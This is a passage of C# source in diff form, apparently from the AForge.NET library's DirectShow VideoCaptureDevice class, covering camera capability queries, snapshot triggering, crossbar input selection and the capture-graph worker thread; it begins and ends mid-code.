/// device may not start yet and provide its information. It is better to call the property + /// before starting device or a bit after (but not immediately after). + /// + /// + public VideoInput[] AvailableCrossbarVideoInputs + { + get + { + if ( crossbarVideoInputs == null ) + { + lock ( cacheCrossbarVideoInputs ) + { + if ( ( !string.IsNullOrEmpty( deviceMoniker ) ) && ( cacheCrossbarVideoInputs.ContainsKey( deviceMoniker ) ) ) + { + crossbarVideoInputs = cacheCrossbarVideoInputs[deviceMoniker]; + } + } + + if ( crossbarVideoInputs == null ) + { + if ( !IsRunning ) + { + // create graph without playing to collect available inputs + WorkerThread( false ); + } + else + { + for ( int i = 0; ( i < 500 ) && ( crossbarVideoInputs == null ); i++ ) + { + Thread.Sleep( 10 ); + } + } + } + } + // don't return null even if capabilities are not provided for some reason + return ( crossbarVideoInputs != null ) ? crossbarVideoInputs : new VideoInput[0]; + } + } + + /// + /// Specifies if snapshots should be provided or not. + /// + /// + /// Some USB cameras/devices may have a shutter button, which may result into snapshot if it + /// is pressed. So the property specifies if the video source will try providing snapshots or not - it will + /// check if the camera supports providing still image snapshots. If camera supports snapshots and the property + /// is set to , then snapshots will be provided through + /// event. + /// + /// Check supported sizes of snapshots using property and set the + /// desired size using property. + /// + /// The property must be set before running the video source to take effect. + /// + /// Default value of the property is set to . + /// + /// + public bool ProvideSnapshots + { + get { return provideSnapshots; } + set { provideSnapshots = value; } + } + + /// + /// New frame event. + /// + /// + /// Notifies clients about new available frame from video source. + /// + /// Since video source may have multiple clients, each client is responsible for + /// making a copy (cloning) of the passed video frame, because the video source disposes its + /// own original copy after notifying of clients. + /// + /// + public event NewFrameEventHandler NewFrame; + + /// + /// Snapshot frame event. + /// + /// + /// Notifies clients about new available snapshot frame - the one which comes when + /// camera's snapshot/shutter button is pressed. + /// + /// See documentation to for additional information. + /// + /// Since video source may have multiple clients, each client is responsible for + /// making a copy (cloning) of the passed snapshot frame, because the video source disposes its + /// own original copy after notifying of clients. + /// + /// + /// + /// + public event NewFrameEventHandler SnapshotFrame; + + /// + /// Video source error event. + /// + /// + /// This event is used to notify clients about any type of errors occurred in + /// video source object, for example internal exceptions. + /// + public event VideoSourceErrorEventHandler VideoSourceError; + + /// + /// Video playing finished event. + /// + /// + /// This event is used to notify clients that the video playing has finished. + /// + /// + public event PlayingFinishedEventHandler PlayingFinished; + + /// + /// Video source. + /// + /// + /// Video source is represented by moniker string of video capture device. + /// + public virtual string Source + { + get { return deviceMoniker; } + set + { + deviceMoniker = value; + + videoCapabilities = null; + snapshotCapabilities = null; + crossbarVideoInputs = null; + isCrossbarAvailable = null; + } + } + + /// + /// Received frames count. + /// + /// + /// Number of frames the video source provided from the moment of the last + /// access to the property. + /// + /// + public int FramesReceived + { + get + { + int frames = framesReceived; + framesReceived = 0; + return frames; + } + } + + /// + /// Received bytes count. + /// + /// + /// Number of bytes the video source provided from the moment of the last + /// access to the property. + /// + /// + public long BytesReceived + { + get + { + long bytes = bytesReceived; + bytesReceived = 0; + return bytes; + } + } + + /// + /// State of the video source. + /// + /// + /// Current state of video source object - running or not. + /// + public bool IsRunning + { + get + { + if ( thread != null ) + { + // check thread status + if ( thread.Join( 0 ) == false ) + return true; + + // the thread is not running, free resources + Free( ); + } + return false; + } + } + + /// + /// Obsolete - no longer in use + /// + /// + /// The property is obsolete. Use property instead. + /// Setting this property does not have any effect. + /// + [Obsolete] + public Size DesiredFrameSize + { + get { return Size.Empty; } + set { } + } + + /// + /// Obsolete - no longer in use + /// + /// + /// The property is obsolete. Use property instead. + /// Setting this property does not have any effect. + /// + [Obsolete] + public Size DesiredSnapshotSize + { + get { return Size.Empty; } + set { } + } + + /// + /// Obsolete - no longer in use. + /// + /// + /// The property is obsolete. Setting this property does not have any effect. + /// + [Obsolete] + public int DesiredFrameRate + { + get { return 0; } + set { } + } + + /// + /// Video resolution to set. + /// + /// + /// The property allows to set one of the video resolutions supported by the camera. + /// Use property to get the list of supported video resolutions. + /// + /// The property must be set before camera is started to make any effect. + /// + /// Default value of the property is set to , which means default video + /// resolution is used. + /// + /// + public VideoCapabilities VideoResolution + { + get { return videoResolution; } + set { videoResolution = value; } + } + + /// + /// Snapshot resolution to set. + /// + /// + /// The property allows to set one of the snapshot resolutions supported by the camera. + /// Use property to get the list of supported snapshot resolutions. + /// + /// The property must be set before camera is started to make any effect. + /// + /// Default value of the property is set to , which means default snapshot + /// resolution is used. + /// + /// + public VideoCapabilities SnapshotResolution + { + get { return snapshotResolution; } + set { snapshotResolution = value; } + } + + /// + /// Video capabilities of the device. + /// + /// + /// The property provides list of device's video capabilities. + /// + /// It is recomended not to call this property immediately after method, since + /// device may not start yet and provide its information. It is better to call the property + /// before starting device or a bit after (but not immediately after). + /// + /// + public VideoCapabilities[] VideoCapabilities + { + get + { + if ( videoCapabilities == null ) + { + lock ( cacheVideoCapabilities ) + { + if ( ( !string.IsNullOrEmpty( deviceMoniker ) ) && ( cacheVideoCapabilities.ContainsKey( deviceMoniker ) ) ) + { + videoCapabilities = cacheVideoCapabilities[deviceMoniker]; + } + } + + if ( videoCapabilities == null ) + { + if ( !IsRunning ) + { + // create graph without playing to get the video/snapshot capabilities only. + // not very clean but it works + WorkerThread( false ); + } + else + { + for ( int i = 0; ( i < 500 ) && ( videoCapabilities == null ); i++ ) + { + Thread.Sleep( 10 ); + } + } + } + } + // don't return null even capabilities are not provided for some reason + return ( videoCapabilities != null ) ? videoCapabilities : new VideoCapabilities[0]; + } + } + + /// + /// Snapshot capabilities of the device. + /// + /// + /// The property provides list of device's snapshot capabilities. + /// + /// If the array has zero length, then it means that this device does not support making + /// snapshots. + /// + /// See documentation to for additional information. + /// + /// It is recomended not to call this property immediately after method, since + /// device may not start yet and provide its information. It is better to call the property + /// before starting device or a bit after (but not immediately after). + /// + /// + /// + /// + public VideoCapabilities[] SnapshotCapabilities + { + get + { + if ( snapshotCapabilities == null ) + { + lock ( cacheSnapshotCapabilities ) + { + if ( ( !string.IsNullOrEmpty( deviceMoniker ) ) && ( cacheSnapshotCapabilities.ContainsKey( deviceMoniker ) ) ) + { + snapshotCapabilities = cacheSnapshotCapabilities[deviceMoniker]; + } + } + + if ( snapshotCapabilities == null ) + { + if ( !IsRunning ) + { + // create graph without playing to get the video/snapshot capabilities only. + // not very clean but it works + WorkerThread( false ); + } + else + { + for ( int i = 0; ( i < 500 ) && ( snapshotCapabilities == null ); i++ ) + { + Thread.Sleep( 10 ); + } + } + } + } + // don't return null even capabilities are not provided for some reason + return ( snapshotCapabilities != null ) ? snapshotCapabilities : new VideoCapabilities[0]; + } + } + + /// + /// Source COM object of camera capture device. + /// + /// + /// The source COM object of camera capture device is exposed for the + /// case when user may need get direct access to the object for making some custom + /// configuration of camera through DirectShow interface, for example. + /// + /// + /// If camera is not running, the property is set to . + /// + /// + public object SourceObject + { + get { return sourceObject; } + } + + /// + /// Initializes a new instance of the class. + /// + /// + public VideoCaptureDevice( ) { } + + /// + /// Initializes a new instance of the class. + /// + /// + /// Moniker string of video capture device. + /// + public VideoCaptureDevice( string deviceMoniker ) + { + this.deviceMoniker = deviceMoniker; + } + + /// + /// Start video source. + /// + /// + /// Starts video source and return execution to caller. Video source + /// object creates background thread and notifies about new frames with the + /// help of event. + /// + public void Start( ) + { + if ( !IsRunning ) + { + // check source + if ( string.IsNullOrEmpty( deviceMoniker ) ) + throw new ArgumentException( "Video source is not specified." ); + + framesReceived = 0; + bytesReceived = 0; + isCrossbarAvailable = null; + needToSetVideoInput = true; + + // create events + stopEvent = new ManualResetEvent( false ); + + lock ( sync ) + { + // create and start new thread + thread = new Thread( new ThreadStart( WorkerThread ) ); + thread.Name = deviceMoniker; // mainly for debugging + thread.Start( ); + } + } + } + + /// + /// Signal video source to stop its work. + /// + /// + /// Signals video source to stop its background thread, stop to + /// provide new frames and free resources. + /// + public void SignalToStop( ) + { + // stop thread + if ( thread != null ) + { + // signal to stop + stopEvent.Set( ); + } + } + + /// + /// Wait for video source has stopped. + /// + /// + /// Waits for source stopping after it was signalled to stop using + /// method. + /// + public void WaitForStop( ) + { + if ( thread != null ) + { + // wait for thread stop + thread.Join( ); + + Free( ); + } + } + + /// + /// Stop video source. + /// + /// + /// Stops video source aborting its thread. + /// + /// Since the method aborts background thread, its usage is highly not preferred + /// and should be done only if there are no other options. The correct way of stopping camera + /// is signaling it stop and then + /// waiting for background thread's completion. + /// + /// + public void Stop( ) + { + if ( this.IsRunning ) + { + thread.Abort( ); + WaitForStop( ); + } + } + + /// + /// Free resource. + /// + /// + private void Free( ) + { + thread = null; + + // release events + stopEvent.Close( ); + stopEvent = null; + } + + /// + /// Display property window for the video capture device providing its configuration + /// capabilities. + /// + /// + /// Handle of parent window. + /// + /// If you pass parent window's handle to this method, then the + /// displayed property page will become modal window and none of the controls from the + /// parent window will be accessible. In order to make it modeless it is required + /// to pass as parent window's handle. + /// + /// + /// + /// The video source does not support configuration property page. + /// + public void DisplayPropertyPage( IntPtr parentWindow ) + { + // check source + if ( ( deviceMoniker == null ) || ( deviceMoniker == string.Empty ) ) + throw new ArgumentException( "Video source is not specified." ); + + lock ( sync ) + { + if ( IsRunning ) + { + // pass the request to backgroud thread if video source is running + parentWindowForPropertyPage = parentWindow; + needToDisplayPropertyPage = true; + return; + } + + object tempSourceObject = null; + + // create source device's object + try + { + tempSourceObject = FilterInfo.CreateFilter( deviceMoniker ); + } + catch + { + throw new ApplicationException( "Failed creating device object for moniker." ); + } + + if ( !( tempSourceObject is ISpecifyPropertyPages ) ) + { + throw new NotSupportedException( "The video source does not support configuration property page." ); + } + + DisplayPropertyPage( parentWindow, tempSourceObject ); + + Marshal.ReleaseComObject( tempSourceObject ); + } + } + + /// + /// Display property page of video crossbar (Analog Video Crossbar filter). + /// + /// + /// Handle of parent window. + /// + /// The Analog Video Crossbar filter is modeled after a general switching matrix, + /// with n inputs and m outputs. For example, a video card might have two external connectors: + /// a coaxial connector for TV, and an S-video input. These would be represented as input pins on + /// the filter. The displayed property page allows to configure the crossbar by selecting input + /// of a video card to use. + /// + /// This method can be invoked only when video source is running ( is + /// ). Otherwise it generates exception. + /// + /// Use method to check if running video source provides + /// crossbar configuration. + /// + /// + /// The video source must be running in order to display crossbar property page. + /// Crossbar configuration is not supported by currently running video source. + /// + public void DisplayCrossbarPropertyPage( IntPtr parentWindow ) + { + lock ( sync ) + { + // wait max 5 seconds till the flag gets initialized + for ( int i = 0; ( i < 500 ) && ( !isCrossbarAvailable.HasValue ) && ( IsRunning ); i++ ) + { + Thread.Sleep( 10 ); + } + + if ( ( !IsRunning ) || ( !isCrossbarAvailable.HasValue ) ) + { + throw new ApplicationException( "The video source must be running in order to display crossbar property page." ); + } + + if ( !isCrossbarAvailable.Value ) + { + throw new NotSupportedException( "Crossbar configuration is not supported by currently running video source." ); + } + + // pass the request to background thread if video source is running + parentWindowForPropertyPage = parentWindow; + needToDisplayCrossBarPropertyPage = true; + } + } + + /// + /// Check if running video source provides crossbar for configuration. + /// + /// + /// Returns if crossbar configuration is available or + /// otherwise. + /// + /// The method reports if the video source provides crossbar configuration + /// using . + /// + /// + public bool CheckIfCrossbarAvailable( ) + { + lock ( sync ) + { + if ( !isCrossbarAvailable.HasValue ) + { + if ( !IsRunning ) + { + // create graph without playing to collect available inputs + WorkerThread( false ); + } + else + { + for ( int i = 0; ( i < 500 ) && ( !isCrossbarAvailable.HasValue ); i++ ) + { + Thread.Sleep( 10 ); + } + } + } + + return ( !isCrossbarAvailable.HasValue ) ? false : isCrossbarAvailable.Value; + } + } + + + /// + /// Simulates an external trigger. + /// + /// + /// The method simulates external trigger for video cameras, which support + /// providing still image snapshots. The effect is equivalent as pressing camera's shutter + /// button - a snapshot will be provided through event. + /// + /// The property must be set to + /// to enable receiving snapshots. + /// + /// + public void SimulateTrigger( ) + { + needToSimulateTrigger = true; + } + + /// + /// Sets a specified property on the camera. + /// + /// + /// Specifies the property to set. + /// Specifies the new value of the property. + /// Specifies the desired control setting. + /// + /// Returns true on sucee or false otherwise. + /// + /// Video source is not specified - device moniker is not set. + /// Failed creating device object for moniker. + /// The video source does not support camera control. + /// + public bool SetCameraProperty( CameraControlProperty property, int value, CameraControlFlags controlFlags ) + { + bool ret = true; + + // check if source was set + if ( ( deviceMoniker == null ) || ( string.IsNullOrEmpty( deviceMoniker ) ) ) + { + throw new ArgumentException( "Video source is not specified." ); + } + + lock ( sync ) + { + object tempSourceObject = null; + + // create source device's object + try + { + tempSourceObject = FilterInfo.CreateFilter( deviceMoniker ); + } + catch + { + throw new ApplicationException( "Failed creating device object for moniker." ); + } + + if ( !( tempSourceObject is IAMCameraControl ) ) + { + throw new NotSupportedException( "The video source does not support camera control." ); + } + + IAMCameraControl pCamControl = (IAMCameraControl) tempSourceObject; + int hr = pCamControl.Set( property, value, controlFlags ); + + ret = ( hr >= 0 ); + + Marshal.ReleaseComObject( tempSourceObject ); + } + + return ret; + } + + /// + /// Gets the current setting of a camera property. + /// + /// + /// Specifies the property to retrieve. + /// Receives the value of the property. + /// Receives the value indicating whether the setting is controlled manually or automatically + /// + /// Returns true on sucee or false otherwise. + /// + /// Video source is not specified - device moniker is not set. + /// Failed creating device object for moniker. + /// The video source does not support camera control. + /// + public bool GetCameraProperty( CameraControlProperty property, out int value, out CameraControlFlags controlFlags ) + { + bool ret = true; + + // check if source was set + if ( ( deviceMoniker == null ) || ( string.IsNullOrEmpty( deviceMoniker ) ) ) + { + throw new ArgumentException( "Video source is not specified." ); + } + + lock ( sync ) + { + object tempSourceObject = null; + + // create source device's object + try + { + tempSourceObject = FilterInfo.CreateFilter( deviceMoniker ); + } + catch + { + throw new ApplicationException( "Failed creating device object for moniker." ); + } + + if ( !( tempSourceObject is IAMCameraControl ) ) + { + throw new NotSupportedException( "The video source does not support camera control." ); + } + + IAMCameraControl pCamControl = (IAMCameraControl) tempSourceObject; + int hr = pCamControl.Get( property, out value, out controlFlags ); + + ret = ( hr >= 0 ); + + Marshal.ReleaseComObject( tempSourceObject ); + } + + return ret; + } + + /// + /// Gets the range and default value of a specified camera property. + /// + /// + /// Specifies the property to query. + /// Receives the minimum value of the property. + /// Receives the maximum value of the property. + /// Receives the step size for the property. + /// Receives the default value of the property. + /// Receives a member of the enumeration, indicating whether the property is controlled automatically or manually. + /// + /// Returns true on sucee or false otherwise. + /// + /// Video source is not specified - device moniker is not set. + /// Failed creating device object for moniker. + /// The video source does not support camera control. + /// + public bool GetCameraPropertyRange( CameraControlProperty property, out int minValue, out int maxValue, out int stepSize, out int defaultValue, out CameraControlFlags controlFlags ) + { + bool ret = true; + + // check if source was set + if ( ( deviceMoniker == null ) || ( string.IsNullOrEmpty( deviceMoniker ) ) ) + { + throw new ArgumentException( "Video source is not specified." ); + } + + lock ( sync ) + { + object tempSourceObject = null; + + // create source device's object + try + { + tempSourceObject = FilterInfo.CreateFilter( deviceMoniker ); + } + catch + { + throw new ApplicationException( "Failed creating device object for moniker." ); + } + + if ( !( tempSourceObject is IAMCameraControl ) ) + { + throw new NotSupportedException( "The video source does not support camera control." ); + } + + IAMCameraControl pCamControl = (IAMCameraControl) tempSourceObject; + int hr = pCamControl.GetRange( property, out minValue, out maxValue, out stepSize, out defaultValue, out controlFlags ); + + ret = ( hr >= 0 ); + + Marshal.ReleaseComObject( tempSourceObject ); + } + + return ret; + } + + /// + /// Worker thread. + /// + /// + private void WorkerThread( ) + { + WorkerThread( true ); + } + + private void WorkerThread( bool runGraph ) + { + ReasonToFinishPlaying reasonToStop = ReasonToFinishPlaying.StoppedByUser; + bool isSapshotSupported = false; + + // grabber + Grabber videoGrabber = new Grabber( this, false ); + Grabber snapshotGrabber = new Grabber( this, true ); + + // objects + object captureGraphObject = null; + object graphObject = null; + object videoGrabberObject = null; + object snapshotGrabberObject = null; + object crossbarObject = null; + + // interfaces + ICaptureGraphBuilder2 captureGraph = null; + IFilterGraph2 graph = null; + IBaseFilter sourceBase = null; + IBaseFilter videoGrabberBase = null; + IBaseFilter snapshotGrabberBase = null; + ISampleGrabber videoSampleGrabber = null; + ISampleGrabber snapshotSampleGrabber = null; + IMediaControl mediaControl = null; + IAMVideoControl videoControl = null; + IMediaEventEx mediaEvent = null; + IPin pinStillImage = null; + IAMCrossbar crossbar = null; + + try + { + // get type of capture graph builder + Type type = Type.GetTypeFromCLSID( Clsid.CaptureGraphBuilder2 ); + if ( type == null ) + throw new ApplicationException( "Failed creating capture graph builder" ); + + // create capture graph builder + captureGraphObject = Activator.CreateInstance( type ); + captureGraph = (ICaptureGraphBuilder2) captureGraphObject; + + // get type of filter graph + type = Type.GetTypeFromCLSID( Clsid.FilterGraph ); + if ( type == null ) + throw new ApplicationException( "Failed creating filter graph" ); + + // create filter graph + graphObject = Activator.CreateInstance( type ); + graph = (IFilterGraph2) graphObject; + + // set filter graph to the capture graph builder + captureGraph.SetFiltergraph( (IGraphBuilder) graph ); + + // create source device's object + sourceObject = FilterInfo.CreateFilter( deviceMoniker ); + if ( sourceObject == null ) + throw new ApplicationException( "Failed creating device object for moniker" ); + + // get base filter interface of source device + sourceBase = (IBaseFilter) sourceObject; + + // get video control interface of the device + try + { + videoControl = (IAMVideoControl) sourceObject; + } + catch + { + // some camera drivers may not support IAMVideoControl interface + } + + // get type of sample grabber + type = Type.GetTypeFromCLSID( Clsid.SampleGrabber ); + if ( type == null ) + throw new ApplicationException( "Failed creating sample grabber" ); + + // create sample grabber used for video capture + videoGrabberObject = Activator.CreateInstance( type ); + videoSampleGrabber = (ISampleGrabber) videoGrabberObject; + videoGrabberBase = (IBaseFilter) videoGrabberObject; + // create sample grabber used for snapshot capture + snapshotGrabberObject = Activator.CreateInstance( type ); + snapshotSampleGrabber = (ISampleGrabber) snapshotGrabberObject; + snapshotGrabberBase = (IBaseFilter) snapshotGrabberObject; + + // add source and grabber filters to graph + graph.AddFilter( sourceBase, "source" ); + graph.AddFilter( videoGrabberBase, "grabber_video" ); + graph.AddFilter( snapshotGrabberBase, "grabber_snapshot" ); + + // set media type + AMMediaType mediaType = new AMMediaType( ); + mediaType.MajorType = MediaType.Video; + mediaType.SubType = MediaSubType.RGB24; + + videoSampleGrabber.SetMediaType( mediaType ); + snapshotSampleGrabber.SetMediaType( mediaType ); + + // get crossbar object to to allows configuring pins of capture card + captureGraph.FindInterface( FindDirection.UpstreamOnly, Guid.Empty, sourceBase, typeof( IAMCrossbar ).GUID, out crossbarObject ); + if ( crossbarObject != null ) + { + crossbar = (IAMCrossbar) crossbarObject; + } + isCrossbarAvailable = ( crossbar != null ); + crossbarVideoInputs = ColletCrossbarVideoInputs( crossbar ); + + if ( videoControl != null ) + { + // find Still Image output pin of the vedio device + captureGraph.FindPin( sourceObject, PinDirection.Output, + PinCategory.StillImage, MediaType.Video, false, 0, out pinStillImage ); + // check if it support trigger mode + if ( pinStillImage != null ) + { + VideoControlFlags caps; + videoControl.GetCaps( pinStillImage, out caps ); + isSapshotSupported = ( ( caps & VideoControlFlags.ExternalTriggerEnable ) != 0 ); + } + } + + // configure video sample grabber + videoSampleGrabber.SetBufferSamples( false ); + videoSampleGrabber.SetOneShot( false ); + videoSampleGrabber.SetCallback( videoGrabber, 1 ); + + // configure snapshot sample grabber + snapshotSampleGrabber.SetBufferSamples( true ); + snapshotSampleGrabber.SetOneShot( false ); + snapshotSampleGrabber.SetCallback( snapshotGrabber, 1 ); + + // configure pins + GetPinCapabilitiesAndConfigureSizeAndRate( captureGraph, sourceBase, + PinCategory.Capture, videoResolution, ref videoCapabilities ); + if ( isSapshotSupported ) + { + GetPinCapabilitiesAndConfigureSizeAndRate( captureGraph, sourceBase, + PinCategory.StillImage, snapshotResolution, ref snapshotCapabilities ); + } + else + { + snapshotCapabilities = new VideoCapabilities[0]; + } + + // put video/snapshot capabilities into cache + lock ( cacheVideoCapabilities ) + { + if ( ( videoCapabilities != null ) && ( !cacheVideoCapabilities.ContainsKey( deviceMoniker ) ) ) + { + cacheVideoCapabilities.Add( deviceMoniker, videoCapabilities ); + } + } + lock ( cacheSnapshotCapabilities ) + { + if ( ( snapshotCapabilities != null ) && ( !cacheSnapshotCapabilities.ContainsKey( deviceMoniker ) ) ) + { + cacheSnapshotCapabilities.Add( deviceMoniker, snapshotCapabilities ); + } + } + + if ( runGraph ) + { + // render capture pin + captureGraph.RenderStream( PinCategory.Capture, MediaType.Video, sourceBase, null, videoGrabberBase ); + + if ( videoSampleGrabber.GetConnectedMediaType( mediaType ) == 0 ) + { + VideoInfoHeader vih = (VideoInfoHeader) Marshal.PtrToStructure( mediaType.FormatPtr, typeof( VideoInfoHeader ) ); + + videoGrabber.Width = vih.BmiHeader.Width; + videoGrabber.Height = vih.BmiHeader.Height; + + mediaType.Dispose( ); + } + + if ( ( isSapshotSupported ) && ( provideSnapshots ) ) + { + // render snapshot pin + captureGraph.RenderStream( PinCategory.StillImage, MediaType.Video, sourceBase, null, snapshotGrabberBase ); + + if ( snapshotSampleGrabber.GetConnectedMediaType( mediaType ) == 0 ) + { + VideoInfoHeader vih = (VideoInfoHeader) Marshal.PtrToStructure( mediaType.FormatPtr, typeof( VideoInfoHeader ) ); + + snapshotGrabber.Width = vih.BmiHeader.Width; + snapshotGrabber.Height = vih.BmiHeader.Height; + + mediaType.Dispose( ); + } + } + + // get media control + mediaControl = (IMediaControl) graphObject; + + // get media events' interface + mediaEvent = (IMediaEventEx) graphObject; + IntPtr p1, p2; + DsEvCode code; + + // run + mediaControl.Run( ); + + if ( ( isSapshotSupported ) && ( provideSnapshots ) ) + { + startTime = DateTime.Now; + videoControl.SetMode( pinStillImage, VideoControlFlags.ExternalTriggerEnable ); + } + + do + { + if ( mediaEvent != null ) + { + if ( mediaEvent.GetEvent( out code, out p1, out p2, 0 ) >= 0 ) + { + mediaEvent.FreeEventParams( code, p1, p2 ); + + if ( code == DsEvCode.DeviceLost ) + { + reasonToStop = ReasonToFinishPlaying.DeviceLost; + break; + } + } + } + + if ( needToSetVideoInput ) + { + needToSetVideoInput = false; + // set/check current input type of a video card (frame grabber) + if ( isCrossbarAvailable.Value ) + { + SetCurrentCrossbarInput( crossbar, crossbarVideoInput ); + crossbarVideoInput = GetCurrentCrossbarInput( crossbar ); + } + } + + if ( needToSimulateTrigger ) + { + needToSimulateTrigger = false; + + if ( ( isSapshotSupported ) && ( provideSnapshots ) ) + { + videoControl.SetMode( pinStillImage, VideoControlFlags.Trigger ); + } + } + + if ( needToDisplayPropertyPage ) + { + needToDisplayPropertyPage = false; + DisplayPropertyPage( parentWindowForPropertyPage, sourceObject ); + + if ( crossbar != null ) + { + crossbarVideoInput = GetCurrentCrossbarInput( crossbar ); + } + } + + if ( needToDisplayCrossBarPropertyPage ) + { + needToDisplayCrossBarPropertyPage = false; + + if ( crossbar != null ) + { + DisplayPropertyPage( parentWindowForPropertyPage, crossbar ); + crossbarVideoInput = GetCurrentCrossbarInput( crossbar ); + } + } + } + while ( !stopEvent.WaitOne( 100, false ) ); + + mediaControl.Stop( ); + } + } + catch ( Exception exception ) + { + // provide information to clients + if ( VideoSourceError != null ) + { + VideoSourceError( this, new VideoSourceErrorEventArgs( exception.Message ) ); + } + } + finally + { + // release all objects + captureGraph = null; + graph = null; + sourceBase = null; + mediaControl = null; + videoControl = null; + mediaEvent = null; + pinStillImage = null; + crossbar = null; + + videoGrabberBase = null; + snapshotGrabberBase = null; + videoSampleGrabber = null; + snapshotSampleGrabber = null; + + if ( graphObject != null ) + { + Marshal.ReleaseComObject( graphObject ); + graphObject = null; + } + if ( sourceObject != null ) + { + Marshal.ReleaseComObject( sourceObject ); + sourceObject = null; + } + if ( videoGrabberObject != null ) + { + Marshal.ReleaseComObject( videoGrabberObject ); + videoGrabberObject = null; + } + if ( snapshotGrabberObject != null ) + { + Marshal.ReleaseComObject( snapshotGrabberObject ); + snapshotGrabberObject = null; + } + if ( captureGraphObject != null ) + { + Marshal.ReleaseComObject( captureGraphObject ); + captureGraphObject = null; + } + if ( crossbarObject != null ) + { + Marshal.ReleaseComObject( crossbarObject ); + crossbarObject = null; + } + } + + if ( PlayingFinished != null ) + { + PlayingFinished( this, reasonToStop ); + } + } + + // Set resolution for the specified stream configuration + private void SetResolution( IAMStreamConfig streamConfig, VideoCapabilities resolution ) + { + if ( resolution == null ) + { + return; + } + + // iterate through device's capabilities to find mediaType for desired resolution + int capabilitiesCount = 0, capabilitySize = 0; + AMMediaType newMediaType = null; + VideoStreamConfigCaps caps = new VideoStreamConfigCaps( ); + + streamConfig.GetNumberOfCapabilities( out capabilitiesCount, out capabilitySize ); + + for ( int i = 0; i < capabilitiesCount; i++ ) + { + try + { + VideoCapabilities vc = new VideoCapabilities( streamConfig, i ); + + if ( resolution == vc ) + { + if ( streamConfig.GetStreamCaps( i, out newMediaType, caps ) == 0 ) + { + break; + } + } + } + catch + { + } + } + + // set the new format + if ( newMediaType != null ) + { + streamConfig.SetFormat( newMediaType ); + newMediaType.Dispose( ); + } + } + + // Configure specified pin and collect its capabilities if required + private void GetPinCapabilitiesAndConfigureSizeAndRate( ICaptureGraphBuilder2 graphBuilder, IBaseFilter baseFilter, + Guid pinCategory, VideoCapabilities resolutionToSet, ref VideoCapabilities[] capabilities ) + { + object streamConfigObject; + graphBuilder.FindInterface( pinCategory, MediaType.Video, baseFilter, typeof( IAMStreamConfig ).GUID, out streamConfigObject ); + + if ( streamConfigObject != null ) + { + IAMStreamConfig streamConfig = null; + + try + { + streamConfig = (IAMStreamConfig) streamConfigObject; + } + catch ( InvalidCastException ) + { + } + + if ( streamConfig != null ) + { + if ( capabilities == null ) + { + try + { + // get all video capabilities + capabilities = AForge.Video.DirectShow.VideoCapabilities.FromStreamConfig( streamConfig ); + } + catch + { + } + } + + // check if it is required to change capture settings + if ( resolutionToSet != null ) + { + SetResolution( streamConfig, resolutionToSet ); + } + } + } + + // if failed resolving capabilities, then just create empty capabilities array, + // so we don't try again + if ( capabilities == null ) + { + capabilities = new VideoCapabilities[0]; + } + } + + // Display property page for the specified object + private void DisplayPropertyPage( IntPtr parentWindow, object sourceObject ) + { + try + { + // retrieve ISpecifyPropertyPages interface of the device + ISpecifyPropertyPages pPropPages = (ISpecifyPropertyPages) sourceObject; + + // get property pages from the property bag + CAUUID caGUID; + pPropPages.GetPages( out caGUID ); + + // get filter info + FilterInfo filterInfo = new FilterInfo( deviceMoniker ); + + // create and display the OlePropertyFrame + Win32.OleCreatePropertyFrame( parentWindow, 0, 0, filterInfo.Name, 1, ref sourceObject, caGUID.cElems, caGUID.pElems, 0, 0, IntPtr.Zero ); + + // release COM objects + Marshal.FreeCoTaskMem( caGUID.pElems ); + } + catch + { + } + } + + // Collect all video inputs of the specified crossbar + private VideoInput[] ColletCrossbarVideoInputs( IAMCrossbar crossbar ) + { + lock ( cacheCrossbarVideoInputs ) + { + if ( cacheCrossbarVideoInputs.ContainsKey( deviceMoniker ) ) + { + return cacheCrossbarVideoInputs[deviceMoniker]; + } + + List videoInputsList = new List( ); + + if ( crossbar != null ) + { + int inPinsCount, outPinsCount; + + // gen number of pins in the crossbar + if ( crossbar.get_PinCounts( out outPinsCount, out inPinsCount ) == 0 ) + { + // collect all video inputs + for ( int i = 0; i < inPinsCount; i++ ) + { + int pinIndexRelated; + PhysicalConnectorType type; + + if ( crossbar.get_CrossbarPinInfo( true, i, out pinIndexRelated, out type ) != 0 ) + continue; + + if ( type < PhysicalConnectorType.AudioTuner ) + { + videoInputsList.Add( new VideoInput( i, type ) ); + } + } + } + } + + VideoInput[] videoInputs = new VideoInput[videoInputsList.Count]; + videoInputsList.CopyTo( videoInputs ); + + cacheCrossbarVideoInputs.Add( deviceMoniker, videoInputs ); + + return videoInputs; + } + } + + // Get type of input connected to video output of the crossbar + private VideoInput GetCurrentCrossbarInput( IAMCrossbar crossbar ) + { + VideoInput videoInput = VideoInput.Default; + + int inPinsCount, outPinsCount; + + // gen number of pins in the crossbar + if ( crossbar.get_PinCounts( out outPinsCount, out inPinsCount ) == 0 ) + { + int videoOutputPinIndex = -1; + int pinIndexRelated; + PhysicalConnectorType type; + + // find index of the video output pin + for ( int i = 0; i < outPinsCount; i++ ) + { + if ( crossbar.get_CrossbarPinInfo( false, i, out pinIndexRelated, out type ) != 0 ) + continue; + + if ( type == PhysicalConnectorType.VideoDecoder ) + { + videoOutputPinIndex = i; + break; + } + } + + if ( videoOutputPinIndex != -1 ) + { + int videoInputPinIndex; + + // get index of the input pin connected to the output + if ( crossbar.get_IsRoutedTo( videoOutputPinIndex, out videoInputPinIndex ) == 0 ) + { + PhysicalConnectorType inputType; + + crossbar.get_CrossbarPinInfo( true, videoInputPinIndex, out pinIndexRelated, out inputType ); + + videoInput = new VideoInput( videoInputPinIndex, inputType ); + } + } + } + + return videoInput; + } + + // Set type of input connected to video output of the crossbar + private void SetCurrentCrossbarInput( IAMCrossbar crossbar, VideoInput videoInput ) + { + if ( videoInput.Type != PhysicalConnectorType.Default ) + { + int inPinsCount, outPinsCount; + + // gen number of pins in the crossbar + if ( crossbar.get_PinCounts( out outPinsCount, out inPinsCount ) == 0 ) + { + int videoOutputPinIndex = -1; + int videoInputPinIndex = -1; + int pinIndexRelated; + PhysicalConnectorType type; + + // find index of the video output pin + for ( int i = 0; i < outPinsCount; i++ ) + { + if ( crossbar.get_CrossbarPinInfo( false, i, out pinIndexRelated, out type ) != 0 ) + continue; + + if ( type == PhysicalConnectorType.VideoDecoder ) + { + videoOutputPinIndex = i; + break; + } + } + + // find index of the required input pin + for ( int i = 0; i < inPinsCount; i++ ) + { + if ( crossbar.get_CrossbarPinInfo( true, i, out pinIndexRelated, out type ) != 0 ) + continue; + + if ( ( type == videoInput.Type ) && ( i == videoInput.Index ) ) + { + videoInputPinIndex = i; + break; + } + } + + // try connecting pins + if ( ( videoInputPinIndex != -1 ) && ( videoOutputPinIndex != -1 